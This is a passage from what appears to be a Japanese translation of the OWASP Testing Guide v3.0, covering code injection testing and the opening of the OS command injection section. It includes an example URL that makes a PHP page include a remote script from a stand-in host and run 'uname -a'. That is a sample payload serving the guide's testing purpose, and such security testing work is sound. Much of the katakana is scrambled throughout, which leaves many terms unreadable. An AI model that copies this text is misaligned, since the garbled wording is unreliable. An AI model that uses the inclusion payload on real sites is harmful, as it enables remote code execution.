OWASP テスティングガイド

OWASP Testing Guide v3.0
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
予 想 される 結 果 :
不 正 な URL は PHP ヘーザのパョミーソとして 受 け 入 れられ、イヱキラードされたファイラ 内 の 値 として 後 で 使 用 されます。
ギレーボチクステステ 及 びびその 例
ASP ケーデアンヱジェクシュンヱの 脆 弱 性 のテステ
実 行 関 数 内 で 使 用 されるヤーゴ 入 力 について ASP ケードを 分 析 しましょう。 例 えば、ヤーゴはデーソ 入 力 フィーラドにケボ
ヱドを 入 力 できるでしょうか。この ASP ケードでは、ファイラに 保 存 して 実 行 します。
)))
参 考 文 献
Security Focus - http://www.securityfocus.com
Insecure.org - http://www.insecure.org
Wikipedia - http://www.wikipedia.org
OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
4.8.13 OS ケボンヱデァンヱギ(OWASP-DV-013)
概 要
このパョギョフでは、OS ケボヱディヱギのためのアプヨクーサュヱのテシト 方 法 について 説 明 します。つまり、OS ケボヱドをア
プヨクーサュヱへの HTTP ヨキウシトを 通 じて 挿 入 しようとします。
273